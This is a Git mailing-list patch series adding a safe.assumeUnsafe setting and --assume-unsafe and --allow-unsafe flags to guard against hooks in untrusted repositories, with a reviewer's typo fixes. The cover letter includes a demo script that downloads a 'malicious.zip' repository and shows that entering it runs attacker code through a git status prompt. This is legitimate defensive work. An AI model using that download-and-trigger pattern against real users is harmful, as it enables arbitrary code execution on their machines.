[PATCH 0/5] Allow enforcing safe.directory

[PATCH 0/5] Allow enforcing safe.directory

[Michael Lohmann]

Hey everyone!

As a first step to allow making git more resistant against accidental
arbitrary code execution, Jeff King suggested in

 https://lore.kernel.org/git/20251009224317.77565-1-git@lohmann.sh/T/#m6cce96f9ae58a4341ae3fbbc02110e20547c58bc

to make the "safe.directory" config enforcable.
If a user has a command line status like:

```bash
# Let's assume the simplest command status prompt that shows "(+)" if
# there are uncommitted changes:
export PS1='$(if [ -n "$(git status --short 2>/dev/null)" ]; then; echo "(+)"; fi)> '

# You download a random zip folder from the internet, not knowing it is
# actually a repo:
curl --silent https://www.lohmann.sh/nuggits/002-dangerous-git/malicious.zip --output malicious.zip
# unzipping means the folder is owned by the user, so by default git
# assumes it is safe to execute hooks/config
unzip malicious.zip >/dev/null

echo 'Just a "README" no "xxx" file, see:'
ls malicious

# This `cd` now triggers arbitrary code execution due to `git status`:
cd malicious
# now there is an "xxx" file
```

With this feature, the prompt could either perform
`git --assume-unsafe status` or to make all git invocations by any
programs safe against accidental arbitrary code invocations a user could
set "safe.assumeUnsafe" to true.

Also allow to temporarily bypass this check with a new `--allow-unsafe`
flag.

--Michael

Michael Lohmann (5):
  setup: rename `ensure_safe_repository()` for clarity
  setup: rename `die_upon_assumed_unsafe_repo()` to align with check
  setup: refactor `ensure_safe_repository()` testing priorities
  setup: allow temporary bypass of `ensure_safe_repository()` checks
  setup: allow not marking self owned repos as safe in
    `ensure_safe_repository()`

 Documentation/config/safe.adoc    |  9 ++++
 Documentation/git.adoc            | 25 +++++++++++
 builtin/clone.c                   |  2 +-
 environment.h                     |  2 +
 git.c                             |  9 ++++
 path.c                            |  4 +-
 setup.c                           | 45 ++++++++++++++------
 setup.h                           |  2 +-
 t/meson.build                     |  1 +
 t/t0036-allow-unsafe-directory.sh | 70 +++++++++++++++++++++++++++++++
 10 files changed, 153 insertions(+), 16 deletions(-)
 create mode 100755 t/t0036-allow-unsafe-directory.sh

-- 
2.50.1 (Apple Git-155)

[PATCH 1/5] setup: rename `ensure_safe_repository()` for clarity

[Michael Lohmann]

In addition to ownership it checks for "safe.directory" config, making
the name `ensure_valid_ownership()` not expressive. This function
ensures that a repository is considered to be safe.
When additional options to check if a repository is considered to be
safe are added, this name is more indicative of the content.

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 setup.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.c b/setup.c
index 7086741e6c..2c41874774 100644
--- a/setup.c
+++ b/setup.c
@@ -1301,7 +1301,7 @@ static int safe_directory_cb(const char *key, const char *value,
  * config settings; for non-bare repositories, their worktree needs to be
  * added, for bare ones their git directory.
  */
-static int ensure_valid_ownership(const char *gitfile,
+static int ensure_safe_repository(const char *gitfile,
 				  const char *worktree, const char *gitdir,
 				  struct strbuf *report)
 {
@@ -1339,7 +1339,7 @@ void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
 	struct strbuf report = STRBUF_INIT, quoted = STRBUF_INIT;
 	const char *path;
 
-	if (ensure_valid_ownership(gitfile, worktree, gitdir, &report))
+	if (ensure_safe_repository(gitfile, worktree, gitdir, &report))
 		return;
 
 	strbuf_complete(&report, '\n');
@@ -1526,7 +1526,7 @@ static enum discovery_result setup_git_directory_gently_1(struct strbuf *dir,
 			const char *gitdir_candidate =
 				gitdir_path ? gitdir_path : gitdirenv;
 
-			if (ensure_valid_ownership(gitfile, dir->buf,
+			if (ensure_safe_repository(gitfile, dir->buf,
 						   gitdir_candidate, report)) {
 				strbuf_addstr(gitdir, gitdirenv);
 				ret = GIT_DIR_DISCOVERED;
@@ -1554,7 +1554,7 @@ static enum discovery_result setup_git_directory_gently_1(struct strbuf *dir,
 			if (get_allowed_bare_repo() == ALLOWED_BARE_REPO_EXPLICIT &&
 			    !is_implicit_bare_repo(dir->buf))
 				return GIT_DIR_DISALLOWED_BARE;
-			if (!ensure_valid_ownership(NULL, NULL, dir->buf, report))
+			if (!ensure_safe_repository(NULL, NULL, dir->buf, report))
 				return GIT_DIR_INVALID_OWNERSHIP;
 			strbuf_addstr(gitdir, ".");
 			return GIT_DIR_BARE;
-- 
2.50.1 (Apple Git-155)

[PATCH 2/5] setup: rename `die_upon_assumed_unsafe_repo()` to align with check

[Michael Lohmann]

This function dies if the repo in question is deemed to be unsafe and
the ownership is only part of the verification. In addition it already
checks for "safe.directory" config, making the name
`ensure_valid_ownership()` not expressive.
When additional options to check if a repository is considered to be
safe are added, this name is more indicative of the content.

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 builtin/clone.c | 2 +-
 path.c          | 4 ++--
 setup.c         | 2 +-
 setup.h         | 2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/builtin/clone.c b/builtin/clone.c
index c990f398ef..6faf67dc68 100644
--- a/builtin/clone.c
+++ b/builtin/clone.c
@@ -263,7 +263,7 @@ static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
 	 * operation as the hardlinked files can be rewritten at will by the
 	 * potentially-untrusted user. We thus refuse to do so by default.
 	 */
-	die_upon_dubious_ownership(NULL, NULL, src_repo);
+	die_upon_assumed_unsafe_repo(NULL, NULL, src_repo);
 
 	mkdir_if_missing(dest->buf, 0777);
 
diff --git a/path.c b/path.c
index 7f56eaf993..254ba6c02f 100644
--- a/path.c
+++ b/path.c
@@ -810,7 +810,7 @@ const char *enter_repo(const char *path, unsigned flags)
 			return NULL;
 		gitfile = read_gitfile(used_path.buf);
 		if (!(flags & ENTER_REPO_ANY_OWNER_OK))
-			die_upon_dubious_ownership(gitfile, NULL, used_path.buf);
+			die_upon_assumed_unsafe_repo(gitfile, NULL, used_path.buf);
 		if (gitfile) {
 			strbuf_reset(&used_path);
 			strbuf_addstr(&used_path, gitfile);
@@ -822,7 +822,7 @@ const char *enter_repo(const char *path, unsigned flags)
 	else {
 		const char *gitfile = read_gitfile(path);
 		if (!(flags & ENTER_REPO_ANY_OWNER_OK))
-			die_upon_dubious_ownership(gitfile, NULL, path);
+			die_upon_assumed_unsafe_repo(gitfile, NULL, path);
 		if (gitfile)
 			path = gitfile;
 		if (chdir(path))
diff --git a/setup.c b/setup.c
index 2c41874774..69f6d1b36c 100644
--- a/setup.c
+++ b/setup.c
@@ -1333,7 +1333,7 @@ static int ensure_safe_repository(const char *gitfile,
 	return data.is_safe;
 }
 
-void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
+void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
 				const char *gitdir)
 {
 	struct strbuf report = STRBUF_INIT, quoted = STRBUF_INIT;
diff --git a/setup.h b/setup.h
index 8522fa8575..25bd5f1e70 100644
--- a/setup.h
+++ b/setup.h
@@ -51,7 +51,7 @@ const char *resolve_gitdir_gently(const char *suspect, int *return_error_code);
  * config settings; for non-bare repositories, their worktree needs to be
  * added, for bare ones their git directory.
  */
-void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
+void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
 				const char *gitdir);
 
 void setup_work_tree(void);
-- 
2.50.1 (Apple Git-155)

[PATCH 3/5] setup: refactor `ensure_safe_repository()` testing priorities

[Michael Lohmann]

The implicit ownership test takes precedence over the explicit
allow-listing of a path by "safe.directory" config. Sort by "priority"
(explicitness). This also allows to more easily integrate additional
checks.

Make the explicit safe.directory check take precedence over owner check.

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 setup.c | 17 ++++++++++-------
 1 file changed, 10 insertions(+), 7 deletions(-)

diff --git a/setup.c b/setup.c
index 69f6d1b36c..41a12a85ab 100644
--- a/setup.c
+++ b/setup.c
@@ -1307,12 +1307,6 @@ static int ensure_safe_repository(const char *gitfile,
 {
 	struct safe_directory_data data = { 0 };
 
-	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
-	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
-	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
-	    (!gitdir || is_path_owned_by_current_user(gitdir, report)))
-		return 1;
-
 	/*
 	 * normalize the data.path for comparison with normalized paths
 	 * that come from the configuration file.  The path is unsafe
@@ -1330,7 +1324,16 @@ static int ensure_safe_repository(const char *gitfile,
 	git_protected_config(safe_directory_cb, &data);
 
 	free(data.path);
-	return data.is_safe;
+	if (data.is_safe)
+		return 1;
+
+	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
+	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
+	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
+	    (!gitdir || is_path_owned_by_current_user(gitdir, report)))
+		return 1;
+
+	return 0;
 }
 
 void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
-- 
2.50.1 (Apple Git-155)

[PATCH 4/5] setup: allow temporary bypass of `ensure_safe_repository()` checks

[Michael Lohmann]

So far, the only option to allow executing git in what it considers to
be an "unsafe context" is to set this repository as "safe.directory". If
a user only wants to temporarily execute one command, they would need to
set the path as safe, execute the command and then remove the path
again. Forgetting to do the latter would make the user vulnerable if
this repo was changed afterwards in a malicious way.

Allow temporarily bypassing `ensure_safe_repository()` checks with a new
flag "--allow-unsafe" or environment variable "GIT_ALLOW_UNSAFE".

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
This appends to the error message of the "dubious ownership". A first
draft had that reworded, but as Johannes Schindelin pointed out, this
could be "breaking the API" for external programs. Is appending fine?

Was adding the new test file to t/meson.build the only thing needed to
do? I didn't see anything documented on how to add a new test file, but
`make` complained without manually adding it.


 Documentation/git.adoc            | 13 +++++++++++++
 environment.h                     |  1 +
 git.c                             |  5 +++++
 setup.c                           | 13 +++++++++++--
 t/meson.build                     |  1 +
 t/t0036-allow-unsafe-directory.sh | 28 ++++++++++++++++++++++++++++
 6 files changed, 59 insertions(+), 2 deletions(-)
 create mode 100755 t/t0036-allow-unsafe-directory.sh

diff --git a/Documentation/git.adoc b/Documentation/git.adoc
index ce099e78b8..7df51c38f9 100644
--- a/Documentation/git.adoc
+++ b/Documentation/git.adoc
@@ -14,6 +14,7 @@ SYNOPSIS
     [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]
     [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]
     [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]
+    [--allow-unsafe]
     <command> [<args>]
 
 DESCRIPTION
@@ -231,6 +232,12 @@ If you just want to run git as if it was started in `<path>` then use
 	linkgit:gitattributes[5]. This is equivalent to setting the
 	`GIT_ATTR_SOURCE` environment variable.
 
+--allow-unsafe::
+	Temporarily trust the repository regardless of "safe.directory"
+	configuration or ownership, potentially resulting in arbitrary code
+	execution by hooks or configuration settings. Equivalent to setting
+	the environment variable `GIT_ALLOW_UNSAFE=1`.
+
 GIT COMMANDS
 ------------
 
@@ -493,6 +500,12 @@ These environment variables apply to 'all' core Git commands. Nb: it
 is worth noting that they may be used/overridden by SCMS sitting above
 Git so take care if using a foreign front-end.
 
+`GIT_ALLOW_UNSAFE`::
+	This Boolean environment variable can be set to true to skip the
+	safety checks of "safe.directory" configuration and if the user
+	owns the repository before potentially executing arbitrary code
+	from hooks or config.
+
 `GIT_INDEX_FILE`::
 	This environment variable specifies an alternate
 	index file. If not specified, the default of `$GIT_DIR/index`
diff --git a/environment.h b/environment.h
index 51898c99cd..ee9e1b9514 100644
--- a/environment.h
+++ b/environment.h
@@ -42,6 +42,7 @@
 #define GIT_OPTIONAL_LOCKS_ENVIRONMENT "GIT_OPTIONAL_LOCKS"
 #define GIT_TEXT_DOMAIN_DIR_ENVIRONMENT "GIT_TEXTDOMAINDIR"
 #define GIT_ATTR_SOURCE_ENVIRONMENT "GIT_ATTR_SOURCE"
+#define GIT_ALLOW_UNSAFE "GIT_ALLOW_UNSAFE"
 
 /*
  * Environment variable used to propagate the --no-advice global option to the
diff --git a/git.c b/git.c
index c5fad56813..a7581a6805 100644
--- a/git.c
+++ b/git.c
@@ -42,6 +42,7 @@ const char git_usage_string[] =
 	   "           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]\n"
 	   "           [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]\n"
 	   "           [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]\n"
+	   "           [--allow-unsafe]\n"
 	   "           <command> [<args>]");
 
 const char git_more_info_string[] =
@@ -354,6 +355,10 @@ static int handle_options(const char ***argv, int *argc, int *envchanged)
 			setenv(GIT_ADVICE_ENVIRONMENT, "0", 1);
 			if (envchanged)
 				*envchanged = 1;
+		} else if (!strcmp(cmd, "--allow-unsafe")) {
+			setenv(GIT_ALLOW_UNSAFE, "1", 1);
+			if (envchanged)
+				*envchanged = 1;
 		} else {
 			fprintf(stderr, _("unknown option: %s\n"), cmd);
 			usage(git_usage_string);
diff --git a/setup.c b/setup.c
index 41a12a85ab..10975fd9a3 100644
--- a/setup.c
+++ b/setup.c
@@ -1307,6 +1307,9 @@ static int ensure_safe_repository(const char *gitfile,
 {
 	struct safe_directory_data data = { 0 };
 
+	if (git_env_bool("GIT_ALLOW_UNSAFE", 0))
+		return 1;
+
 	/*
 	 * normalize the data.path for comparison with normalized paths
 	 * that come from the configuration file.  The path is unsafe
@@ -1353,7 +1356,10 @@ void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
 	      "%s"
 	      "To add an exception for this directory, call:\n"
 	      "\n"
-	      "\tgit config --global --add safe.directory %s"),
+	      "\tgit config --global --add safe.directory %s\n"
+	      "\n"
+	      "To temporarily bypass safety-checks, run 'git --allow-unsafe <command>'\n"
+	      "or set the environment variable 'GIT_ALLOW_UNSAFE=true'."),
 	    path, report.buf, quoted.buf);
 }
 
@@ -1797,7 +1803,10 @@ const char *setup_git_directory_gently(int *nongit_ok)
 			      "%s"
 			      "To add an exception for this directory, call:\n"
 			      "\n"
-			      "\tgit config --global --add safe.directory %s"),
+			      "\tgit config --global --add safe.directory %s\n"
+			      "\n"
+			      "To temporarily bypass safety-checks, run 'git --allow-unsafe <command>'\n"
+			      "or set the environment variable 'GIT_ALLOW_UNSAFE=true'."),
 			    dir.buf, report.buf, quoted.buf);
 		}
 		*nongit_ok = 1;
diff --git a/t/meson.build b/t/meson.build
index 11376b9e25..c55fb55784 100644
--- a/t/meson.build
+++ b/t/meson.build
@@ -100,6 +100,7 @@ integration_tests = [
   't0033-safe-directory.sh',
   't0034-root-safe-directory.sh',
   't0035-safe-bare-repository.sh',
+  't0036-allow-unsafe-directory.sh',
   't0040-parse-options.sh',
   't0041-usage.sh',
   't0050-filesystem.sh',
diff --git a/t/t0036-allow-unsafe-directory.sh b/t/t0036-allow-unsafe-directory.sh
new file mode 100755
index 0000000000..4b98e815ff
--- /dev/null
+++ b/t/t0036-allow-unsafe-directory.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+test_description='verify safe.directory checks'
+
+. ./test-lib.sh
+
+GIT_TEST_ASSUME_DIFFERENT_OWNER=1
+export GIT_TEST_ASSUME_DIFFERENT_OWNER
+
+expect_rejected_dir () {
+	test_must_fail git status 2>err &&
+	grep "dubious ownership" err
+}
+
+test_expect_success 'safe.directory is not set' '
+	expect_rejected_dir
+'
+
+test_expect_success '--allow-unsafe allows execution in unsafe directory' '
+	git --allow-unsafe status
+'
+
+test_expect_success 'GIT_ALLOW_UNSAFE bool allows unsafe directory' '
+	env GIT_ALLOW_UNSAFE=true \
+	    git status
+'
+
+test_done
-- 
2.50.1 (Apple Git-155)

[PATCH 5/5] setup: allow not marking self owned repos as safe in `ensure_safe_repository()`

[Michael Lohmann]

Git considers all repositories as safe, if they are either
 - explicitly set in "safe.directory" config, or
 - the user owns the repo

Since a user could unzip a folder they downloaded from the internet and
unknown to them, it is a repository with malicious hooks/config, an
attacker could easily get code execution. Even a command line prompt
would automatically trigger this if executing `git status` after
entering the malicious directory.

Allow not to automatically treat all repos owned by the user as safe.
This can either be done by "--assume-unsafe", the environment variable
"GIT_ASSUME_UNSAFE" or by setting the configuration "safe.assumeUnsafe"
in a safe context (so not the repo config, as it should not be able to
allow list itself).

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
Question in setup.c: is setting the environment variable inside of
safe_directory_cb the best way to "communicate" this result?
Alternatively one could add a new member to the struct, but I thought
this was not the best either...


 Documentation/config/safe.adoc    |  9 +++++++
 Documentation/git.adoc            | 14 ++++++++++-
 environment.h                     |  1 +
 git.c                             |  6 ++++-
 setup.c                           |  9 +++++++
 t/t0036-allow-unsafe-directory.sh | 42 +++++++++++++++++++++++++++++++
 6 files changed, 79 insertions(+), 2 deletions(-)

diff --git a/Documentation/config/safe.adoc b/Documentation/config/safe.adoc
index 2d45c98b12..2ac5d94762 100644
--- a/Documentation/config/safe.adoc
+++ b/Documentation/config/safe.adoc
@@ -60,3 +60,12 @@ which id the original user has.
 If that is not what you would prefer and want git to only trust
 repositories that are owned by root instead, then you can remove
 the `SUDO_UID` variable from root's environment before invoking git.
+
+safe.assumeUnsafe::
+	Boolean to indicate that the ownership of a repository should not
+	be taken into account when checking if the repository is safe. It
+	will prevent against accidental arbitrariy code execution
++
+To temporarily allow git execution in case of an assumed unsafe repository,
+run the command with `--allow-unsafe`. To permanently trust this path, add
+it to the `safe.directory` config.
diff --git a/Documentation/git.adoc b/Documentation/git.adoc
index 7df51c38f9..162350f3db 100644
--- a/Documentation/git.adoc
+++ b/Documentation/git.adoc
@@ -14,7 +14,7 @@ SYNOPSIS
     [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]
     [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]
     [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]
-    [--allow-unsafe]
+    [--allow-unsafe] [--assume-unsafe]
     <command> [<args>]
 
 DESCRIPTION
@@ -238,6 +238,13 @@ If you just want to run git as if it was started in `<path>` then use
 	execution by hooks or configuration settings. Equivalent to setting
 	the environment variable `GIT_ALLOW_UNSAFE=1`.
 
+--assume-unsafe::
+	Prevent arbitrary code execution by hooks or configuration if not
+	executed in a "safe.directory". With setting this, filesystem ownership
+	of the repository in question no longer satisfies to mark it as safe.
+	Equivalent to setting `GIT_ASSUME_UNSAFE=1`. This is overwritten if
+	`--allow-unsafe` is passed as well.
+
 GIT COMMANDS
 ------------
 
@@ -506,6 +513,11 @@ Git so take care if using a foreign front-end.
 	owns the repository before potentially executing arbitrary code
 	from hooks or config.
 
+`GIT_ASSUME_UNSAFE`::
+	This Boolean environment variable can be set to true enforce
+	explicit "safe.directory" configuration for the repository. This
+	can be overwritten by setting `GIT_ALLOW_UNSAFE`.
+
 `GIT_INDEX_FILE`::
 	This environment variable specifies an alternate
 	index file. If not specified, the default of `$GIT_DIR/index`
diff --git a/environment.h b/environment.h
index ee9e1b9514..89036a9460 100644
--- a/environment.h
+++ b/environment.h
@@ -43,6 +43,7 @@
 #define GIT_TEXT_DOMAIN_DIR_ENVIRONMENT "GIT_TEXTDOMAINDIR"
 #define GIT_ATTR_SOURCE_ENVIRONMENT "GIT_ATTR_SOURCE"
 #define GIT_ALLOW_UNSAFE "GIT_ALLOW_UNSAFE"
+#define GIT_ASSUME_UNSAFE "GIT_ASSUME_UNSAFE"
 
 /*
  * Environment variable used to propagate the --no-advice global option to the
diff --git a/git.c b/git.c
index a7581a6805..40ef89558d 100644
--- a/git.c
+++ b/git.c
@@ -42,7 +42,7 @@ const char git_usage_string[] =
 	   "           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]\n"
 	   "           [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]\n"
 	   "           [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]\n"
-	   "           [--allow-unsafe]\n"
+	   "           [--allow-unsafe] [--assume-unsafe]\n"
 	   "           <command> [<args>]");
 
 const char git_more_info_string[] =
@@ -359,6 +359,10 @@ static int handle_options(const char ***argv, int *argc, int *envchanged)
 			setenv(GIT_ALLOW_UNSAFE, "1", 1);
 			if (envchanged)
 				*envchanged = 1;
+		} else if (!strcmp(cmd, "--assume-unsafe")) {
+			setenv(GIT_ASSUME_UNSAFE, "1", 1);
+			if (envchanged)
+				*envchanged = 1;
 		} else {
 			fprintf(stderr, _("unknown option: %s\n"), cmd);
 			usage(git_usage_string);
diff --git a/setup.c b/setup.c
index 10975fd9a3..0d6cddfcb9 100644
--- a/setup.c
+++ b/setup.c
@@ -1238,6 +1238,12 @@ static int safe_directory_cb(const char *key, const char *value,
 {
 	struct safe_directory_data *data = d;
 
+	if (!strcmp(key, "safe.assumeunsafe")) {
+		if (git_config_bool(key, value))
+			setenv(GIT_ASSUME_UNSAFE, value, 0);
+		return 0;
+	}
+
 	if (strcmp(key, "safe.directory"))
 		return 0;
 
@@ -1330,6 +1336,9 @@ static int ensure_safe_repository(const char *gitfile,
 	if (data.is_safe)
 		return 1;
 
+	if (git_env_bool("GIT_ASSUME_UNSAFE", 0))
+		return 0;
+
 	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
 	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
 	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
diff --git a/t/t0036-allow-unsafe-directory.sh b/t/t0036-allow-unsafe-directory.sh
index 4b98e815ff..7e08c261bc 100755
--- a/t/t0036-allow-unsafe-directory.sh
+++ b/t/t0036-allow-unsafe-directory.sh
@@ -25,4 +25,46 @@ test_expect_success 'GIT_ALLOW_UNSAFE bool allows unsafe directory' '
 	    git status
 '
 
+test_expect_success '--assume-unsafe prevents execution if not in safe.directory' '
+	sane_unset GIT_TEST_ASSUME_DIFFERENT_OWNER &&
+	git status &&
+	test_must_fail git --assume-unsafe status 2>err &&
+	grep "dubious ownership" err
+'
+test_expect_success 'GIT_ASSUME_UNSAFE prevents execution if not in safe.directory' '
+	test_must_fail env GIT_ASSUME_UNSAFE=1 \
+			   git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'safe.assumeUnsafe on the command line' '
+	test_must_fail git -c safe.assumeUnsafe="true" status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'safe.assumeUnsafe in the environment' '
+	test_must_fail env GIT_CONFIG_COUNT=1 \
+	    GIT_CONFIG_KEY_0="safe.assumeUnsafe" \
+	    GIT_CONFIG_VALUE_0="true" \
+	    git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'safe.assumeUnsafe in GIT_CONFIG_PARAMETERS' '
+	test_must_fail env GIT_CONFIG_PARAMETERS="${SQ}safe.assumeUnsafe${SQ}=${SQ}true${SQ}" \
+	    git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'ignoring safe.assumeUnsafe in repo config' '
+	git config safe.assumeUnsafe "false" &&
+	git config --global safe.assumeUnsafe "true" &&
+	test_must_fail git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'allow-unsafe must overwrite assume-unsafe' '
+	env GIT_ASSUME_UNSAFE=1 git --allow-unsafe status
+'
+
 test_done
-- 
2.50.1 (Apple Git-155)

Re: [PATCH 5/5] setup: allow not marking self owned repos as safe in `ensure_safe_repository()`

[D. Ben Knoble]

On Mon, Oct 13, 2025 at 5:43 AM Michael Lohmann <git@lohmann.sh> wrote:
>
> Git considers all repositories as safe, if they are either
>  - explicitly set in "safe.directory" config, or
>  - the user owns the repo
>
> Since a user could unzip a folder they downloaded from the internet and
> unknown to them, it is a repository with malicious hooks/config, an
> attacker could easily get code execution. Even a command line prompt
> would automatically trigger this if executing `git status` after
> entering the malicious directory.
>
> Allow not to automatically treat all repos owned by the user as safe.
> This can either be done by "--assume-unsafe", the environment variable
> "GIT_ASSUME_UNSAFE" or by setting the configuration "safe.assumeUnsafe"
> in a safe context (so not the repo config, as it should not be able to
> allow list itself).
>
> Signed-off-by: Michael Lohmann <git@lohmann.sh>
> ---
> Question in setup.c: is setting the environment variable inside of
> safe_directory_cb the best way to "communicate" this result?
> Alternatively one could add a new member to the struct, but I thought
> this was not the best either...
>
>
>  Documentation/config/safe.adoc    |  9 +++++++
>  Documentation/git.adoc            | 14 ++++++++++-
>  environment.h                     |  1 +
>  git.c                             |  6 ++++-
>  setup.c                           |  9 +++++++
>  t/t0036-allow-unsafe-directory.sh | 42 +++++++++++++++++++++++++++++++
>  6 files changed, 79 insertions(+), 2 deletions(-)
>
> diff --git a/Documentation/config/safe.adoc b/Documentation/config/safe.adoc
> index 2d45c98b12..2ac5d94762 100644
> --- a/Documentation/config/safe.adoc
> +++ b/Documentation/config/safe.adoc
> @@ -60,3 +60,12 @@ which id the original user has.
>  If that is not what you would prefer and want git to only trust
>  repositories that are owned by root instead, then you can remove
>  the `SUDO_UID` variable from root's environment before invoking git.
> +
> +safe.assumeUnsafe::
> +       Boolean to indicate that the ownership of a repository should not
> +       be taken into account when checking if the repository is safe. It
> +       will prevent against accidental arbitrariy code execution

s/arbitrariy/arbitrary. (fix typo + add period)

> ++
> +To temporarily allow git execution in case of an assumed unsafe repository,
> +run the command with `--allow-unsafe`. To permanently trust this path, add
> +it to the `safe.directory` config.
> diff --git a/Documentation/git.adoc b/Documentation/git.adoc
> index 7df51c38f9..162350f3db 100644
> --- a/Documentation/git.adoc
> +++ b/Documentation/git.adoc
> @@ -14,7 +14,7 @@ SYNOPSIS
>      [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]
>      [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]
>      [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]
> -    [--allow-unsafe]
> +    [--allow-unsafe] [--assume-unsafe]
>      <command> [<args>]
>
>  DESCRIPTION
> @@ -238,6 +238,13 @@ If you just want to run git as if it was started in `<path>` then use
>         execution by hooks or configuration settings. Equivalent to setting
>         the environment variable `GIT_ALLOW_UNSAFE=1`.
>
> +--assume-unsafe::
> +       Prevent arbitrary code execution by hooks or configuration if not
> +       executed in a "safe.directory". With setting this, filesystem ownership
> +       of the repository in question no longer satisfies to mark it as safe.
> +       Equivalent to setting `GIT_ASSUME_UNSAFE=1`. This is overwritten if
> +       `--allow-unsafe` is passed as well.

Here and later, I think you mean "overridden" not "overwritten"

-- 
D. Ben Knoble

[PATCH v2 0/5] Apply comments of D. Ben Knoble

[Michael Lohmann]

Thanks!

Michael Lohmann (5):
  setup: rename `ensure_safe_repository()` for clarity
  setup: rename `die_upon_assumed_unsafe_repo()` to align with check
  setup: refactor `ensure_safe_repository()` testing priorities
  setup: allow temporary bypass of `ensure_safe_repository()` checks
  setup: allow not marking self owned repos as safe in
    `ensure_safe_repository()`

 Documentation/config/safe.adoc    |  9 ++++
 Documentation/git.adoc            | 25 +++++++++++
 builtin/clone.c                   |  2 +-
 environment.h                     |  2 +
 git.c                             |  9 ++++
 path.c                            |  4 +-
 setup.c                           | 45 ++++++++++++++------
 setup.h                           |  2 +-
 t/meson.build                     |  1 +
 t/t0036-allow-unsafe-directory.sh | 70 +++++++++++++++++++++++++++++++
 10 files changed, 153 insertions(+), 16 deletions(-)
 create mode 100755 t/t0036-allow-unsafe-directory.sh

Range-diff against v1:
1:  3f8805eb96 = 1:  3f8805eb96 setup: rename `ensure_safe_repository()` for clarity
2:  aa09159dec = 2:  aa09159dec setup: rename `die_upon_assumed_unsafe_repo()` to align with check
3:  ad4f64fdb8 = 3:  ad4f64fdb8 setup: refactor `ensure_safe_repository()` testing priorities
4:  db31fdef4e = 4:  db31fdef4e setup: allow temporary bypass of `ensure_safe_repository()` checks
5:  f65fd1c4fa ! 5:  6f710af1da setup: allow not marking self owned repos as safe in `ensure_safe_repository()`
    @@ Documentation/config/safe.adoc: which id the original user has.
     +safe.assumeUnsafe::
     +	Boolean to indicate that the ownership of a repository should not
     +	be taken into account when checking if the repository is safe. It
    -+	will prevent against accidental arbitrariy code execution
    ++	will prevent against accidental arbitrary code execution.
     ++
     +To temporarily allow git execution in case of an assumed unsafe repository,
     +run the command with `--allow-unsafe`. To permanently trust this path, add
    @@ Documentation/git.adoc: If you just want to run git as if it was started in `<pa
     +	Prevent arbitrary code execution by hooks or configuration if not
     +	executed in a "safe.directory". With setting this, filesystem ownership
     +	of the repository in question no longer satisfies to mark it as safe.
    -+	Equivalent to setting `GIT_ASSUME_UNSAFE=1`. This is overwritten if
    ++	Equivalent to setting `GIT_ASSUME_UNSAFE=1`. This is overridden if
     +	`--allow-unsafe` is passed as well.
     +
      GIT COMMANDS
    @@ Documentation/git.adoc: Git so take care if using a foreign front-end.
     +`GIT_ASSUME_UNSAFE`::
     +	This Boolean environment variable can be set to true enforce
     +	explicit "safe.directory" configuration for the repository. This
    -+	can be overwritten by setting `GIT_ALLOW_UNSAFE`.
    ++	can be overridden by setting `GIT_ALLOW_UNSAFE`.
     +
      `GIT_INDEX_FILE`::
      	This environment variable specifies an alternate
    @@ t/t0036-allow-unsafe-directory.sh: test_expect_success 'GIT_ALLOW_UNSAFE bool al
     +	grep "dubious ownership" err
     +'
     +
    -+test_expect_success 'allow-unsafe must overwrite assume-unsafe' '
    ++test_expect_success 'allow-unsafe must override assume-unsafe' '
     +	env GIT_ASSUME_UNSAFE=1 git --allow-unsafe status
     +'
     +
-- 
2.50.1 (Apple Git-155)

[PATCH v2 1/5] setup: rename `ensure_safe_repository()` for clarity

[Michael Lohmann]

In addition to ownership it checks for "safe.directory" config, making
the name `ensure_valid_ownership()` not expressive. This function
ensures that a repository is considered to be safe.
When additional options to check if a repository is considered to be
safe are added, this name is more indicative of the content.

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 setup.c | 8 ++++----
